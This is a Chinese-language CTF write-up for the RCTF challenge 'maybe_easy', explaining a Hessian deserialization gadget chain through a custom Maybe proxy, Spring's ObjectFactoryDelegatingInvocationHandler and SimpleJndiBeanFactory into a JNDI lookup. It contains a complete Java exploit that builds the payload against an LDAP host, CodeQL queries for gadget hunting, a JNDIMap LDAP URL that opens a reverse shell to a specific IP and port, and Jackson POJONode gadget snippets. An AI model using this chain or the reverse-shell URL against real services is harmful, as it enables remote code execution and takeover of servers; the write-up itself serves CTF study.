rctf-maybe_easy

前言

赛中感觉可以好好看一下,题目赛后看了看,跟着师傅的思路,感觉嗯也不是特别难,感觉前部分主要还是不太熟悉java里的一些写法,正好刚刚学习了Hessian反序列化的漏洞打法,建议复现学习的话可以跟一下N1ght师傅

要点

其实看题目,给的并不复杂,留了个反序列化时候可能走的白名单,这里注意,存在jndi,可能最后要调用这个目录下的存在lookup调用的类的方法上,这里点一下,不着急
再看这里实现了一个没有被使用的代理类Maybe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Maybe extends Proxy implements Comparable<Object>, Serializable {
public Maybe(InvocationHandler h) {
super(h);
}

public int compareTo(Object o) {
try {
Method method = Comparable.class.getMethod("compareTo", Object.class);
Object result = this.h.invoke(this, method, new Object[]{o});
return (Integer)result;
} catch (Throwable e) {
throw new RuntimeException(e);
}
}
}

这里就是关键点,这里专门代理了一个compareTo方法然后带到某些(InvocationHandler)类的invoke方法
假设不带这个Maybe,可以怎么打?
传统的打法就那几条链子了,但是白名单死了
所以必须借助这个代理类,打后续调用
这里可以Codeql,或者直接手查
找到这个类ObjectFactoryDelegatingInvocationHandler
这里调用了getObject方法(依旧限制白名单)
然后走到ObjectFactoryCreatingFactoryBean.java,然后调用getBean方法,走到lookup方法调用
实现jndi注入,本地复现的java版本是可以打Referer加载,我就这样打了,但是实际上,最好 还是打反序列化,比如jdk8&spring的原生链,相当于高版本的退化版()

脚本直接打了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.learn;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rctf.server.tool.Maybe;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.*;

public class exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
SimpleJndiBeanFactory m=new SimpleJndiBeanFactory();
Class<?> outerClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean");
Class<?> innerClass = null;
for (Class<?> clazz : outerClass.getDeclaredClasses()) {
if ("TargetBeanObjectFactory".equals(clazz.getSimpleName())) {
innerClass = clazz;
break;
}
}

if (innerClass == null) {
throw new RuntimeException("找不到 TargetBeanObjectFactory 类");
}
Constructor<?> constructor = innerClass.getDeclaredConstructor(BeanFactory.class, String.class);
constructor.setAccessible(true);
// 5. 实例化 TargetBeanObjectFactory
ObjectFactory<?> targetBeanObjectFactory = (ObjectFactory<?>) constructor.newInstance(
m, "ldap://x.x.x.x:1389/CommonsCollections6");
String inner = "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler";
Class<?> clazz = Class.forName(inner);

// 3. 构造函数只有一个参数 ObjectFactory
Constructor<?> constructor1 = clazz.getDeclaredConstructor(ObjectFactory.class);
constructor1.setAccessible(true);

// 4. 实例化 InvocationHandler
InvocationHandler handler = (InvocationHandler) constructor1.newInstance(targetBeanObjectFactory);
Maybe exp=new Maybe(handler);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(bos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeMapBegin("java.util.SortedMap");
out.writeObject(exp);
out.writeInt(1);
out.flush();
byte[] bytes = bos.toByteArray();
System.out.println(bytes);
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
Hessian2Input in = new Hessian2Input(bis);
in.readObject();//this._type.equals(SortedMap.class)
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}

这里是自己写的,第一次写Hessian的链子()这里本地打的是Referer,版本不高,但是还是想学一下jdk的原生反序列化

Codeql分析

我这里还是就着师傅发现的链子打的,还不能算我做到,决定跟着用Codeql分析一下,毕竟这道题白名单+特地方法很适合用Codeql构建数据库查询,然后比较关键的是存在jdk原生链可以打的
可以直接codeql database create db-name --language=java --source-root=./sources --build-mode=none

也可以用n1ght师傅的工具
都挺好的
构建之后的查询语句是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* @name Empty block
* @kind problem
* @problem.severity warning
* @id java/example/empty-block
*/

import java
import libs.Source
import libs.DangerousMethods

class InvokerHandler extends Class {
InvokerHandler() {
this.getASupertype*().getQualifiedName() = "java.lang.reflect.InvocationHandler" and
(
this.getQualifiedName().regexpMatch("java.util.+") or
this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
)
}
}

class HessianObjectFactory extends Method {
HessianObjectFactory() {
// this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory"
this.getName() = "getObject" and
this.hasNoParameters() and
(
this.getQualifiedName().regexpMatch("java.util.+") or
this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
)
}
}

// from HessianObjectFactory i, DangerousMethod m
// where i.calls(m)
// select i
from DangerousMethod m
select m, m.getName()

语句并不难编写,得多写
后续就一直跟,第二条查询语句得到getObject方法调用的类,然后进一步在跟到getBean,这个方法在某个类中被调用会走到lookup,是一条将被学习的链子
这里突然翻到了一篇文章,好像和这道题高度类似()https://xz.aliyun.com/news/17895

jdk原生反序列化

一方面按照师傅方法学一学
另一方面学一学JNDImap工具jdk8+spring,可以jackson梭哈
ldap:/120.55.184.209:1389/Deserialize/Jackson/ReverseShell/120.55.184.209/65444
直接反弹shell
或者说只依赖spring的链子
可看https://mak4r1.com/write-ups/spring-jackson%E5%8E%9F%E7%94%9F%E9%93%BE/
Jackson通过writeValueAsString将对象转为JSON字符串的时候,获取对象属性的时候会自动调用其getter方法。

这个就是核心了,而Jackson里有关键类如POJONodeorArrayNode,可以通过toString被调用走到getter上
可以利用CC5提供了触发toString的链子or EventListenerList
如上就这么多了,跟一跟学一学
like如此

1
2
3
4
5
6
7
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(templates);
arrayNode.toString();

POJONode zxc=new POJONode(templates);
zxc.toString();